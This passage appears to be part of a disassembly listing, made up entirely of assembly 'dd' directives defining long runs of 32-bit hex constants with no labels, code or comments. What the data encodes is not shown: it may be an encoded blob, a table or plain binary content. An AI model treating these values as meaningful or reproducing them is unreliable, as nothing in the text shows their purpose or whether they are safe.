		dd 0F87EB5D0h, 201EF882h, 0DC9DE1A6h, 0F1F75010h, 0A266816h
		dd 45F5D38Ch, 57268F74h, 84045351h, 0C0BF2CA8h,	312ECE11h
		dd 7220DFB8h, 75040792h, 4F2CD828h, 4B29FC6Bh, 0D0630975h
		dd 145597CAh, 0A97795DCh, 25A07683h, 4C3819C6h,	0CAAB4B2Ah
		dd 98E134Fh, 2B5C2DFBh,	5C89F5A7h, 55453AD5h, 9675A909h
		dd 48FA152h, 0D475E33Eh, 0D384307Fh, 470D9CFh, 0E7C139A2h
		dd 24AF8703h, 84E349A9h, 4131B93h, 48CF244Ah, 3FCD39D9h
		dd 5A794710h, 0FE0620A8h, 275FF73Fh, 5FA61249h,	525376EFh
		dd 4E98B120h, 0C0AF8447h, 0E4761DD7h, 3C850350h, 0F57E0D00h
		dd 0F219AD2Dh, 8442B728h, 0F0AF0709h, 521844E2h, 801360Dh
		dd 2820C358h, 99C99F78h, 5B1D3FC2h, 0C9AAEB53h,	61EF4069h
		dd 492D692Eh, 57D0042h,	49E960C4h, 2D2F5538h, 5E89C454h
		dd 50F95687h, 0DE4BA7E9h, 0B52167EFh, 0D857BBC3h, 3410488Bh
		dd 685A05DFh, 0F3B32964h, 7FC1773Ah, 9EAEC9F0h,	667D258Ch
		dd 4CE4EF6h, 0C355508Dh, 0D7D1957Ah, 0D64AA532h, 37C68BA7h
		dd 4B9FEADAh, 0B20C02F6h, 5D7CE505h, 0F17AA1D6h, 88222B71h
		dd 0E12F920Fh, 0D83ED147h, 0E90B80EBh, 0D0DD2CBBh, 8B3AE99Eh
		dd 0FA2C1222h, 7A3ABB1Eh, 0B6680117h, 0DD3B89BFh, 48E8E80Fh
		dd 0D2FF0AAAh, 271173BFh, 0C1546FEFh, 0D4AE7896h, 73B20018h
		dd 0F738CC76h, 7C83DA3Ch, 0D24137B8h, 0A3D6D77Ch, 0BB95407Fh
		dd 0CF287291h, 14471C0Fh, 0E2E7A433h, 0B9CB0BD3h, 59027A85h
		dd 923CD55Eh, 0BA6732C8h, 1DD46794h, 74E9C1EFh,	76772F0Dh
		dd 24F28DBFh, 0A4BB0C93h, 0B209F337h, 0AB4D0E14h, 801D002Dh
		dd 9F7CB0E0h, 615AB47Ch, 172FF6BDh, 26CABE50h, 6B9C68C3h
		dd 9DFBF734h, 0FE572188h, 30674F42h, 409D855h, 145E313Fh
		dd 0CFCA35D4h, 421D1ABAh, 0E221773Dh, 3CF82859h, 68D3A7F9h
		dd 0B82C25A9h, 0F39726D8h, 7CE9E1ADh, 0CA8D51B2h, 2C03C0AAh
		dd 42927FF6h, 4304B904h, 0C5AA054Fh, 13E000F7h,	81184B4Eh
		dd 4AA8CE07h, 0E6633816h, 3D96815Ch, 20FF6F0h, 0E9E09CC0h
		dd 9ADDF13Ah, 0C9D6D641h, 485F9262h, 4B5CE998h,	1434BEB5h
		dd 4EC3AADCh, 0A51AEC58h, 0BF126DADh, 1E9CFA91h, 0CCAA5F1Eh
		dd 0B64B8076h, 95F79991h, 0F5F33101h, 0ED722540h, 21EE70D6h
		dd 3A2D10B7h, 17822768h, 27CD205Dh, 1A331B08h, 0F646DEF7h
		dd 0BC6B04C0h, 402FE927h, 2776250Ah, 0B50B4E31h, 4802657Ch
		dd 7710D0E9h, 0DFF22BE6h, 0D529E4Eh, 5320A401h,	0B63AE2D1h
		dd 17777643h, 0C1743A05h, 0D28208EAh, 2118F77Ch, 49DAC2C0h
		dd 25F875E6h, 0A22C029Fh, 132144B3h, 0AC6DB151h, 16361022h
		dd 88565A2Fh, 10157B09h, 95508F28h, 0FF0BF7D1h,	7516E275h
		dd 0E9258F96h, 0B2B4C0D6h, 601AEE4Ah, 0CD802EC6h, 43F250FEh
		dd 0F181AC9Ch, 730359AFh, 0A04EB87Fh, 4BEF79D0h, 3CCBC37h
		dd 44764BC5h, 0F0EDB052h, 126D1984h, 0C0530E4Dh, 2148D0B6h
		dd 82B927F9h, 89B3B780h, 229FAFF0h, 8B07E2C1h, 91ED89Ah
		dd 3DDCFE0Eh, 292CD1D0h, 0A03913D0h, 0ABE9126Ah, 0DE2ABA6h
		dd 0AC9689DFh, 17927DFAh, 79ED6819h, 8EEBA3Bh, 0C4850BB8h
		dd 615F54EAh, 0A83FD387h, 0A9EC9321h, 0A58A152Eh, 0DD2524C5h
		dd 7B605AAh, 0FE2241D3h, 9A25C6C0h, 0A0C09044h,	19571A56h
		dd 11F24801h, 34E90840h, 873EF5C5h, 0FC49736Ch,	4EF789BFh
		dd 4F35FC93h, 0A3D8E838h, 54219E62h, 3BFFC03h, 6FF34352h
		dd 5999F781h, 8C016EDEh, 3F185A68h, 16E4FA30h, 0BB4CC3BAh
		dd 310A4B44h, 7E59D912h, 20411F9Dh, 6D29BCD0h, 0AD44D2C8h
		dd 987F46F1h, 744BB520h, 0AF3324FBh, 820131A6h,	1396A1Ah
		dd 0ACD3F54h, 0FFC60C04h, 580494DFh, 7EBDD2F7h,	8DE909E9h
		dd 0F0522F8h, 7AFE68C8h, 70CD0CFCh, 8977C98Bh, 0B1C17D10h
		dd 9AEB527Eh, 0AF5D0423h, 5A2804D8h, 5129AA98h,	2614697Dh
		dd 568910D4h, 0B6A3B07h, 9E544E5Dh, 20C90297h, 8AD560EFh
		dd 2B0F3C3Fh, 815DC01Ch, 2F75A0E1h, 0DC8543Ch, 3927F836h
		dd 5F0DCA60h, 9C9E99FAh, 12B3EE7Ah, 0FFA7A1E9h,	18F24388h
		dd 286C4410h, 5A7755E2h, 43187560h, 0BE50453Bh,	217E27ADh
		dd 5D482527h, 0B517488h, 8852BEB5h, 5A4AE678h, 414C14B0h
		dd 4ED16EAEh, 2901C2E6h, 383231EBh, 6AF84FDBh, 7A9F14A1h
		dd 0AC2E5BCDh, 5652149Eh, 2CDE0D90h, 0E02A966Bh, 8B25F216h
		dd 5A6BF934h, 1A2866DBh, 4049B0AEh, 0F180040Dh,	3BC128D8h
		dd 0EEB4C2FEh, 0E364FBBDh, 0A4D9F2EEh, 0AAA5A4F8h, 0AE9310E6h
		dd 0B3BB01D4h, 3468C0CFh, 122F4D07h, 0A8BEB3E9h, 44EED653h
		dd 1402A564h, 40AA0231h, 5D4D0A47h, 0A9835776h,	0B7272D48h
		dd 0D3776690h, 0E495A008h, 5DDBA2BDh, 0CDB6F702h, 0CF526FDEh
		dd 38E4BFAFh, 45009C9h,	5EEDA0Bh, 0A9C1DFEAh, 58261E8Dh
		dd 5E004F12h, 6D967ECAh, 0B9BAF4E9h, 0BAF6AF02h, 20627D6Fh
		dd 0B9007291h, 1D823F98h, 12E6C981h, 31F7A76h, 8B4A2D9Ah
		dd 0DB09D07Ch, 7555304Dh, 0AF178F7Ah, 630B8893h, 50A82A39h
		dd 1A0F9420h, 0B59AA2Dh, 435B20D5h, 957B0F36h, 0FDE94182h
		dd 30B73050h, 3A7A4BEBh, 0E90B03AAh, 0BD10BD9Dh, 691217C6h
		dd 4ABD76BBh, 25E90840h, 0DC4AD2B1h, 7631CA77h,	8C5A1260h
		dd 0C230E9CEh, 68B62ADCh, 2D8F70B3h, 0A15D5AF3h, 54525B53h
		dd 1D5CB6Bh, 147BE56h, 4D303611h, 6846808Eh, 0C55CA9A2h
		dd 253B9C63h, 0E502097Ch, 0D00934D8h, 0E3EE276Eh, 9808965Fh
		dd 36B60264h, 0DA016BC8h, 80D74C2h, 3DCE7F98h, 95E9F613h
		dd 0F1AD0982h, 28B43214h, 7E736885h, 0AD96A4E9h, 0A28185FEh
		dd 124BE2EAh, 0BEDE382h, 0BAF10BD2h, 131F9CD7h,	0AFD26850h
		dd 0E7851689h, 0E4AE16E9h, 730AEEA1h, 0E5433972h, 1608C694h
		dd 12803DE9h, 2D3A66BDh, 0ABD8172Bh, 7767512Eh,	0E7C48D13h
		dd 2DF0A7EBh, 2EA46E53h, 9D05C01Fh, 0B77CC8FBh,	0E3C109h
		dd 231AC35Eh, 0AFAC4A24h, 4089F592h, 0B7310360h, 11CA7F48h
		dd 24403830h, 0BB5E1668h, 1E9300D9h, 98E971D2h,	4C249F4Fh
		dd 345AB01h, 452A0480h,	0F011E922h, 769F5E00h, 5C5B9FE7h
		dd 127C2E9Dh, 0C3F9C328h, 5CEA83B2h, 234A0275h,	0ABF375D2h
		dd 82489A3Dh, 0BEE1D716h, 0C9DE73C3h, 0D0E7DF5Ch, 622DCD22h
		dd 9738EE0Fh, 1DA90AC0h, 0A4B90186h, 49288E5Fh,	2F05F5E9h
		dd 2D7B54F7h, 5252706Ah, 5CB40B25h, 3A1F51E6h, 0D855DF0Ah
		dd 7C47D600h, 0BE4B4303h, 77790AC9h, 0B0F24C6h,	6AD4F121h
		dd 0A2200802h, 0BF815D4Ah, 80601A11h, 0EBE7130Ch, 4B05E910h
		dd 8A98A231h, 29589CD9h, 4E92FAF3h, 7093E717h, 0C5BEE78h
		dd 2EBD9EBCh, 0D3AE32BEh, 0C58A83D2h, 3EB36A3h,	231730CFh
		dd 70970B39h, 25B0279h,	24E90D30h, 0D7B65EF8h, 62CC577Ah
		dd 0C66FBA2Dh, 2E829789h, 5DDC86A0h, 465AD772h,	1C90BD05h
		dd 86004E57h, 5A833963h, 0BDDE4FF7h, 33CE0F87h,	7F1B297Ch
		dd 0DB247F48h, 78F1282Fh, 0DCD2BF9Fh, 7EDA9726h, 3909E6A8h
		dd 0DD745A6Ah, 3545E561h, 75BF2E8Dh, 0D721AB27h, 83059F1Bh
		dd 0D081A28Bh, 0C5FAEC69h, 4403F9Ah, 0F3314B7Ah, 12B64399h
		dd 0B2EC75A3h, 0FAD1ABD3h
		dd 9B07713Dh, 6707247Ch, 88C23C20h, 37F3D5E7h, 45EAFE2Fh
		dd 0BAAD520Dh, 0F2FFCE64h, 0BDE9C457h, 0BF5432B0h, 0BC66E65Bh
		dd 16B87AD1h, 0EE3D4E63h, 488DA910h, 78162D42h,	3B409E5h
		dd 4D56046Ah, 6AB07613h, 28D69756h, 35E45DF2h, 6815519Dh
		dd 2AE9C2C0h, 73D0D5Eh,	2BAE47DFh, 0C0FC78A4h, 0BCD62D2Dh
		dd 0BE875B8Ah, 0AEF0B88Bh, 510A13Ah, 0F12A3E1Fh, 3832F9EEh
		dd 8D14E31h, 13057E48h,	1257EA74h, 1E69588Ah, 56EABFFh
		dd 838D841Fh, 91B44DE0h, 9AFFA762h, 0F1689AB5h,	0E9535862h
		dd 56F4692Dh, 0B42FEBF8h, 0BF861EC6h, 2753D657h, 8CD1646h
		dd 1FDB010Dh, 3927F582h, 0EE3A6199h, 8A76242Ah,	198A671Ah
		dd 0F8ED5DABh, 5AB424BBh, 0EF57B881h, 0C72FD736h, 377A8575h
		dd 95A8848Ah, 2C9CEBBCh, 0DFD5FD52h, 11681C85h,	95FA4908h
		dd 8DAFE2Ah, 0C000C901h, 0F58002EDh, 0B8E5E66Bh, 0A4DF22C4h
		dd 0BF4AE766h, 47F49D0Fh, 0B919B758h, 4B483888h, 6C7870C0h
		dd 8895296Eh, 8709084Dh, 956416F1h, 0DA5BDCE0h,	0FEB55C7Ch
		dd 0C58413D8h, 0FB0ABC2h, 0D7CA627Fh, 11740D71h, 4E715A72h
		dd 0CA08665Ah, 0B1417258h, 8602C0BAh, 0B068B068h, 6FBA1974h
		dd 4B073EF1h, 3F7448Ah,	0F9087C66h, 8902864Ch, 67F07FF6h
		dd 0AFAABB14h, 4CA076E0h, 0D09DA77Ah, 9A7909Eh,	71FD5E1Bh
		dd 0DECFABD5h, 18C68170h, 7AFF4FA3h, 3C85A4D4h,	0CC4EFB2h
		dd 2068038Ch, 0CC151032h, 0B0C16191h, 87F3442h,	5916A07Ch
		dd 388C08EEh, 0CF5BF5BEh, 64A43867h, 7E42E1FEh,	54C490F8h
		dd 2C8B05EDh, 0B4EF8C89h, 0FBB59F0h, 3DA45A94h,	1141F44Bh
		dd 9A52D854h, 2066669Fh, 31052812h, 720668D8h, 93049935h
		dd 8153F048h, 451D5553h, 1574BFADh, 4ABF0C12h, 70935E33h
		dd 8D9CF58Ah, 0B519FB46h, 0E1F99C63h, 6A66BC4h,	6840E4D3h
		dd 162A8F3Fh, 13FF5B1Dh, 66B5C8C5h, 7F30583Fh, 0D06326Ch
		dd 6BEA26E9h, 4A1785B3h, 3707BA0Ch, 64F72F06h, 2C30EF60h
		dd 0B1254F9Eh, 85AE7235h, 61AF1B07h, 3B315CD4h,	0A2E8E5D9h
		dd 82CDB93Dh, 0DF21E956h, 583F3F7h, 44740568h, 0ABF4CE8Ah
		dd 0BF1838E2h, 7305CB78h, 2080363h, 25C7E926h, 34F634A5h
		dd 0F8AD484Ah, 654909E7h, 257714Eh, 0E8E3C1B3h,	4B0A2F70h
		dd 4D9AC6Bh, 5FE122FAh,	75A316C2h, 8108FF73h, 4892499h
		dd 0C471A061h, 0C513BE78h, 0E9A1B9B9h, 49D42E71h, 49FACEAEh
		dd 79E9820Ah, 53A95EBEh, 3E772404h, 1A80512Ch, 49C1105Ch
		dd 0C86B0E2Eh, 4C3CAEDFh, 0A901488Fh, 0DCDBC1E9h, 0F5C4ACABh
		dd 0D6D80C91h, 0F855B901h, 0DD959F43h, 48E18B81h, 3011C917h
		dd 712C57Ch, 42AF6222h,	0B064DD8Fh, 0F176BF82h,	7A92EFD4h
		dd 5925A509h, 6C183CE7h, 2C77D98Ch, 6A4BB1F0h, 0FE96A4F2h
		dd 30E9C6CCh, 681A0B9Ah, 710301A0h, 0F3815B0Fh,	7212B978h
		dd 2D6FA9Ch, 0FFE97D63h, 684A3E58h, 16679AFEh, 4CC92311h
		dd 680EDE68h, 0AA13478Ah, 0E25B37CFh, 5924806h,	0EE81075h
		dd 0E9BB02FFh, 0B3D5132Dh, 7EA0D200h, 62D82D3Ch, 0DA88D01Eh
		dd 2B08ECCCh, 71408204h, 78FC72FBh, 0D98AB0B0h,	23F1B0C0h
		dd 4A60941Eh, 37EC7AD2h, 1373DE4Fh, 84852EE9h, 0CF0261D9h
		dd 0C32500C2h, 5775F331h, 5B2E750Fh, 0DD13E919h, 7E9FAFCCh
		dd 8C519D53h, 59202931h, 7FC17EE1h, 6FF050C6h, 0B524BDEEh
		dd 82021FE6h, 8069E85Eh, 5D4F27CDh, 0CA859F58h,	5E080BC3h
		dd 5ACE857h, 0F91D0B2Ch, 29894830h, 0BE4F9FD0h,	2701C5D3h
		dd 30B5E93h, 9305AF7Dh,	94EC3C44h, 59051CF7h, 0FD4A2868h
		dd 85B9A5FDh, 0BAA53085h, 0D210758Ch, 9662E41Bh, 256D749h
		dd 0DD3246E5h, 0A6694117h, 0F8C037A5h, 2A2468D1h, 50606547h
		dd 30C0C6B0h, 80605E0h,	43AC8FEh, 34E87BBFh, 0E9F4B105h
		dd 1CFC0A57h, 0BEE1AEC5h, 0DC85DDA2h, 0AA78CC6Eh, 5A688040h
		dd 0C427FBCBh, 4D71EF80h, 5580738h, 0C988310Eh,	5239027Dh
		dd 57560073h, 2D1FF5BFh, 1D12788Eh, 3992DDFFh, 0D5066BD6h
		dd 0B1A5F8E7h, 902DFAEDh, 7B15CA0Eh, 1F64188Fh,	222FB91h
		dd 3E7876DCh, 0FEED7E16h, 64A58B98h, 0AF521568h, 979293E8h
		dd 4020C5A1h, 38B8C9E1h, 0CC06D61h, 57047BC1h, 0F6639F91h
		dd 0FE50C0A4h, 61785341h, 69B47CBFh, 68179F66h,	7FFD0523h
		dd 4FD0E3A4h, 0DB51CE09h, 0BE4934B6h, 139F229Ch, 5639842h
		dd 0F7AC7D64h, 702A3908h, 0D8D05C97h, 68055150h, 701E3C45h
		dd 0BC78C4AFh, 0C14C0E4Fh, 3212D8E1h, 0E7BB2F52h, 569096ECh
		dd 2593C497h, 5C98DB62h, 59806DC0h, 9439FE52h, 30AC0B8Eh
		dd 2C997582h, 0C1A216C5h, 253BB5Dh, 10D0AB8h, 2F3C634Dh
		dd 0DBB229B3h, 0F4ED1155h, 6F31AB2Eh, 297B259Ch, 405478B9h
		dd 7F13CAB9h, 1C000D72h, 0F28D803Ah, 8DD94E01h,	87013F2Ah
		dd 7F39437Dh, 0E9C54A61h, 0B3ECBC5h, 165531CDh,	78509770h
		dd 88CC5995h, 0F180A082h, 38D3B4BFh, 31519051h,	3134114Bh
		dd 0E7CFC9F9h, 0E67DCBEAh, 2FE5BDC8h, 6811BE26h, 908EE1Eh
		dd 0B2FD955Bh, 55848BC1h, 0A575AD29h, 0B9A25DE3h, 0A9A13D12h
		dd 220E1348h, 0F604DFF3h, 0AF416E07h, 0B04B22F6h, 68045030h
		dd 7E2F39E8h, 9A36D8FEh, 29FFEA14h, 17A610F8h, 6864EA4Ah
		dd 194823E6h, 2DC04039h, 22724505h, 0CBFB8970h,	0DAE90D1Eh
		dd 0F13E3928h, 4FD2ECEh, 0EBD44916h, 264CE1CBh,	40FE5527h
		dd 841642C3h, 0CBDFFDABh, 7D0E2923h, 53E9EBD1h,	67A0BBC8h
		dd 28F90407h, 644F2CF8h, 31AB11C3h, 9D2062h, 975F7E68h
		dd 341E798h, 0C164280Eh, 0A0A0B3E2h, 2FF9EEAh, 0DEBF65F9h
		dd 217041FDh, 740E708Bh, 0ABC1241Bh, 0E2B3811Ch, 2ED314A9h
		dd 7A25DE60h, 9501758h,	3019BCD6h, 0EE29D101h, 2D5459E9h
		dd 378FB93Fh, 8C445F4Eh, 46FB121Eh, 24C8CD10h, 58C53005h
		dd 0A60ED6B3h, 0BCEB0EC0h, 33E997BAh, 25E254D3h, 5BD46C66h
		dd 0BA15AC2Ch, 6AE500EBh, 863505CBh, 0FE9BB0D5h, 0A178B2D0h
		dd 9EE155A7h, 0AB4A0F28h, 8BFF3765h, 8D4813E1h,	6BB939FFh
		dd 71E976D8h, 46E4BD71h, 3307309Dh, 75F6BF9Bh, 0F1A9046Bh
		dd 0FD4F0EE8h, 1B129F9Ch, 22053E80h, 35884h, 0D813C73Eh
		dd 3CAAA77h, 0F4055F7Dh, 785F869Ch, 12BC8265h, 0F002844Bh
		dd 0D325E97Ch, 0EBD62712h, 824409CFh, 728743ABh, 94F05D5h
		dd 0B0317E9Eh, 0D1410537h, 0B5653BD4h, 81398849h, 29DEBB87h
		dd 2A6430BAh, 0F7EE0581h, 0AC3EF556h, 8C62892h,	1A5AE97Ah
		dd 0A4A1D441h, 0B42E130Fh, 7940EB3Eh, 0A09EB55Bh, 5DF25C4Fh
		dd 0C1DFE95Ah, 2CD17E97h, 88DC3561h, 2DEF2F61h,	1082047Ch
		dd 0D7530847h, 0E05729E2h, 0EE9035EBh, 0B1BD5E44h, 32883D4h
		dd 7715BE02h, 42FD8268h, 5A24747Ah, 2676647Dh, 610C64AFh
		dd 2B4BFA68h, 0A0E9DB61h, 25017D28h, 4A8F4382h,	76FCD405h
		dd 28F3BF54h, 5F68E340h, 0B9B8CC21h, 7A3501E8h,	0F5EFCE33h
		dd 0EC69411Dh, 18F26FA7h, 0CE8B1488h, 0F9E457B2h, 0F9882827h
		dd 0BB0C9352h, 5E7B940h, 0ED1C781h, 4F5A0120h, 3D683FEh
		dd 1A05076Ah, 72A56D40h, 82E094EFh, 0B7EA1B41h,	5705EA5Fh
		dd 4BB3AF58h, 18A9E904h, 0E409AB12h, 0CC09A0DDh, 0BD7C6F75h
		dd 0D36256F0h, 0FD0FE908h, 40780372h, 2DAD0254h, 0A566A60Bh
		dd 0A20F0A50h, 45208909h, 0C5E00881h, 67F3802Dh, 95618F54h
		dd 8961976h, 353FD0BFh
		dd 0DF120FF6h, 8F440153h, 55EDDAABh, 0C5998F40h, 95BDEDFh
		dd 62FEF4F3h, 31F28A40h, 0DB099732h, 3B949188h,	46416202h
		dd 0F1D55606h, 387524F0h, 2BDBEA0h, 0FDA8847Fh,	0BD018B7Bh
		dd 0D066C1B8h, 80F4ED7Ah, 559CD89h, 9E7C12B6h, 85501276h
		dd 0BBB2EA76h, 9A5F4489h, 1AE27225h, 0E1BBCAE9h, 717DEEA9h
		dd 68173DD7h, 0D131BB09h, 0EC3B6344h, 0D4EFB4B9h, 0B4F3AB62h
		dd 5AA68F97h, 162745EBh, 652BEE63h, 0B047E909h,	0F42D51D3h
		dd 76CCA5AAh, 0B1A5B420h, 0AE2312FDh, 75E9EB31h, 0FBD75625h
		dd 776BAF62h, 5D895BC5h, 5530D58Fh, 68801FA2h, 8D265F89h
		dd 3F14CFA5h, 0C1FB01h,	5F0377C1h, 2D7E9B25h, 30DE7697h
		dd 742D3824h, 0F86508C1h, 0B46C4D1Ch, 8CAE6C12h, 785C5BB6h
		dd 0FDF5F431h, 2FF3A57Bh, 0DF5004C2h, 0E19384h,	0D24D405h
		dd 48F0B8DAh, 0C985BB1Dh, 0BD49F40Eh, 60B31B04h, 40BEDFF7h
		dd 5614CF84h, 0F5900E8Bh, 71D56406h, 0CB620187h, 355C578h
		dd 0B5CCE9A8h, 6EEDDC20h, 53191FCAh, 0CF7907BBh, 0EBCBC041h
		dd 37767629h, 9FC5C302h, 0C809EEC9h, 1343E10Eh,	0A813F56Dh
		dd 616B0C59h, 5BB0C3Bh,	0E9E8A32Eh, 769EC85h, 9F34C8B8h
		dd 38D2D27h, 2212B66Ch,	8590FDB5h, 0CEEB6AECh, 0CABF59AEh
		dd 36128858h, 3F626BE9h, 0A40F0A52h, 0C2D075F5h, 4E49A966h
		dd 3437A0E0h, 76D6673Dh, 6A33EA00h, 0A1E943D0h,	43758221h
		dd 0B90EBCA4h, 4133125h, 129ADCE7h, 890AA0EAh, 0D4F450B5h
		dd 0D1001965h, 0D10AC78h, 1B265342h, 0AD025C7Bh, 74045C5Dh
		dd 0B2760B5Bh, 0D34982D4h, 0E07AB389h, 4E685109h, 88CCF94Ah
		dd 5E17A731h, 6882DFE9h, 999978E7h, 25A82D54h, 84485DC5h
		dd 35B1E243h, 4BE3450Ch, 1AF62D81h, 0FD953B78h,	0AEB79584h
		dd 0B835009h, 427DF959h, 6821022Dh, 3D546408h, 8510D5E2h
		dd 0D7BD1973h, 0C961092Eh, 0D45DB57Eh, 0D1978896h, 0C2026BFFh
		dd 0F300C1D7h, 7A6203A5h, 0E4FD5B38h, 2C385BA1h, 53D0057Ch
		dd 44C2A0B3h, 77994A76h, 7FD2CA4Bh, 62A04478h, 773D4D03h
		dd 0C9C79327h, 52C919BDh, 0B7EBD257h, 0D7257F76h, 2EB4650Dh
		dd 277571B8h, 18FDA8E5h, 0BF609977h, 8F9A9651h,	0CDB80249h
		dd 7FBA02CCh, 17A4357h,	0D0251EE8h, 21F2290Dh, 0C2080440h
		dd 985DDFA7h, 0E04CB5C8h, 0DFC5BFE8h, 4C87E0ADh, 681D0904h
		dd 23FE6959h, 88D7B460h, 0C9939EE3h, 165566D7h,	430FE0Bh
		dd 0E86E25BEh, 6C099240h, 2D8520F6h, 6427A4FCh,	12CDFCDCh
		dd 50112A00h, 975960F3h, 6FEC0B59h, 900955E9h, 0B593568Ah
		dd 91D953BEh, 0C2F23DA9h, 595A3568h, 5155007Ah,	922E99B9h
		dd 4BAE1E5Bh, 0B3815925h, 7A4BAC68h, 367AA8Ch, 8005E4C0h
		dd 0EC9B63C4h, 88F30DC5h, 0E1BC6E61h, 7E5B54A1h, 2FDEC101h
		dd 0B1601F51h, 5D6382A1h, 0DE27D8E7h, 0AEEE93E4h, 750C385Ah
		dd 4841446Ah, 4E33F6Ch,	80C6AC4Ah, 728D3B1Dh, 34482C68h
		dd 0B5BFC267h, 0F72CC573h, 0E2A87D17h, 4004B5B5h, 87169BCBh
		dd 6DBC684Bh, 4DDDF7C1h, 0CFD0D195h, 2B98EDE8h,	0E91346E6h
		dd 3CEC1D33h, 0FA05C4h,	0C68022B6h, 13EEE6E8h, 0AADEF644h
		dd 81962792h, 0F42834A1h, 5A51A947h, 0CF2B0DE9h, 8CB84F55h
		dd 14507650h, 8B721023h, 0F9EC7312h, 2829881Eh,	5EF620A3h
		dd 4B286806h, 256209E0h, 0B251797Eh, 7E69CE0Bh,	0CDC29301h
		dd 0E9D0E022h, 20C72C30h, 2458C128h, 100E1C0h, 26682FF1h
		dd 5FB37940h, 0EEBEDB4h, 693E56EAh, 17ABF3C0h, 0E9172A40h
		dd 0D28815C8h, 37802568h, 0E919184Ch, 0ED47CBDBh, 0ED31E52Ah
		dd 2CA768B1h, 0A02A25Eh, 5456676Eh, 17002876h, 0BEA45BBFh
		dd 31C5801Eh, 0C9AB26F7h, 9076E09h, 4910A7F6h, 5E15E96Bh
		dd 299B616Fh, 1ED22FFEh, 45165D50h, 1CB2E911h, 50EAFE28h
		dd 73F599C0h, 3FE8695Ah, 0E958CB79h, 0DFA9AA5Fh, 0E913B734h
		dd 2ECC668Ch, 510C4085h, 6AF1577Fh, 0D7AB0067h,	0A130F44Fh
		dd 0A29132E9h, 5856A21Dh, 5F535D9Bh, 8F086526h,	2F7E2FECh
		dd 694DE703h, 0FE109E07h, 8C809748h, 0F693F480h, 0CCFED419h
		dd 0E2C4300Eh, 7E92E58h, 656889D3h, 14939C5Eh, 68B0A4ECh
		dd 0F4C2B7Dh, 0DA9A2426h, 522FDCAFh, 0BA5BB855h, 13E4325Dh
		dd 7A5ED594h, 0B217B89Bh, 8529FFEFh, 6E126C56h,	0B2DA9B0h
		dd 1BB251FAh, 0AF4ABB0Ch, 62067016h, 34E167F0h,	0AB1CB9ABh
		dd 0B79C3C2Ch, 5F93F2FEh, 728717F0h, 69CF7FFBh,	605D2BB3h
		dd 0A8BBF349h, 9E535F82h, 48046E3Dh, 0CFE880C3h, 0C97C5A6Eh
		dd 35BCE095h, 0EE42600Ch, 0BD61BEAh, 0D0F70134h, 83FD0816h
		dd 0A923C780h, 9090DC7Dh, 2B4F2712h, 0CE241304h, 5F7EA813h
		dd 52DF2A9h, 5F5A57DAh,	0E9C20AFCh, 2257C38Eh, 3C0CC4Ah
		dd 0C1E9DD89h, 84252963h, 5F5258F0h, 0F34E3AF2h, 0D7598B3Dh
		dd 8EAA3364h, 0EDFCBA4Ah, 9758C550h, 614A61D3h,	0D7A3378Dh
		dd 1F4BE07Ah, 452DF0B4h, 8FD8ADCFh, 0A0BA6520h,	48DC1819h
		dd 0B0207B7Ah, 6812F990h, 88952F4h, 0A3D1612Ah,	0F7EC04D7h
		dd 85378701h, 44F10102h, 52081F9Fh, 59C1B0BDh, 516D419Fh
		dd 2CB5D13Bh, 0B4A22B96h, 10D2124h, 3118E8C1h, 99132BC8h
		dd 0D716A2AAh, 0AEA493FCh, 7A39E604h, 13D4A6EFh, 4BE3B03Bh
		dd 20629C27h, 9D56117Ch, 36301BFAh, 5BDDABC6h, 2468965Eh
		dd 0FBF01C9Fh, 82317512h, 876A6165h, 0DE4A0AFEh, 0D3524917h
		dd 49C8DABAh, 5FEA133Bh, 680398FAh, 88036404h, 0CFE45A2Bh
		dd 791A0461h, 0BC54013Eh, 2F0CD0B1h, 76E6D65Ah,	8053E92Dh
		dd 7E6BE1Eh, 0D84A609Bh, 31F60D25h, 2E0B87B8h, 4FCC013h
		dd 721FA73Ch, 0BC89017Ch, 2ABF27C1h, 0C12E53F5h, 7A09568h
		dd 77C8D975h, 0A35112EAh, 0F2E50670h, 0E09D0FE9h, 82156180h
		dd 311FD881h, 68B46FC9h, 0EDC25768h, 64D2B84Eh,	800372BAh
		dd 4FC1B3C1h, 72D722F3h, 5E3B8B9Dh, 0CBF94738h,	0E928CC67h
		dd 0DF5F5B27h, 27E9EE01h, 70646E5Dh, 856833C0h,	62010213h
		dd 8494E95Fh, 4F9679F7h, 56E7C6A5h, 0D0D7BBE5h,	5194B6B4h
		dd 80C3ADBBh, 62F36937h, 0BF5E955Bh, 789FF427h,	279250E9h
		dd 0E6FBBD05h, 60822E6Dh, 0B0AD0570h, 42C1060h,	3512201Eh
		dd 0AFB030BEh, 0E1B5F35Ah, 8000B495h, 52174BC3h, 0C70B8DB6h
		dd 0A6E30559h, 0FD4EADB8h, 6DA3057h, 6457E94Bh,	0AA5F38F7h
		dd 0F2EAC634h, 2DEF5F2Dh, 91F66EFBh, 472EE985h,	6BB268CBh
		dd 46353157h, 0B801FA6Ch, 55E15C52h, 7E893C48h,	80F7B461h
		dd 0F0C146F6h, 2CD8B287h, 0D930F35Dh, 0A3351E01h, 9374143h
		dd 4AB2A42Bh, 3BB6C00h,	2C16420Dh, 0D0F7003Bh, 0F5802D48h
		dd 0EBB60A1Ah, 40FEC596h, 0E9CD016Ah, 0FCBD9489h, 0F1DD7A86h
		dd 9EFF2F07h, 0C4C3B667h, 9012FE6Bh, 256CCAFFh,	0D2D95455h
		dd 502491D2h, 0D64B81C0h, 0F2CA8B65h, 8CA74CCh,	0C600F453h
		dd 0E9C1CE80h, 0E6CC55C3h, 680B5722h, 0E7D47B9Dh, 9FF92158h
		dd 0B5A89259h, 0D152784Bh, 0AB5EAAEDh, 8E12C43Dh, 0C5E96052h
		dd 38973D7Dh, 0BE5DEA00h, 0C768823Ah, 5AEA3148h, 0EA2F3EB5h
		dd 486EBF2Ch, 11D42D4Bh, 31840A2Fh, 0C0C2C409h,	973D283Fh
		dd 922D717Eh, 85F27BDFh, 0CD125168h, 8CC8DFBCh,	315C9373h
		dd 0B5C1105Fh, 22A20B7Bh, 7F7C5E10h, 6101B06Ah,	4148AC36h
		dd 9501E9E8h, 66E722DDh, 6EF96151h, 0CF5A1268h,	0FE5927DFh
		dd 0A97A52h, 0F882196Eh
		dd 7DAD66EFh, 7DD461A9h, 74902009h, 4557EBD0h, 0CA5F3449h
		dd 0F79BD888h, 0A9E912F9h, 1254B982h, 0AAE2D425h, 0FDC1512Fh
		dd 95DB06C3h, 0DF2527CDh, 133EA46h, 0B82D36D3h,	0F41B4F47h
		dd 90CF5B0Bh, 3E94C657h, 1A2C5062h, 7C467FCEh, 42D0134Fh
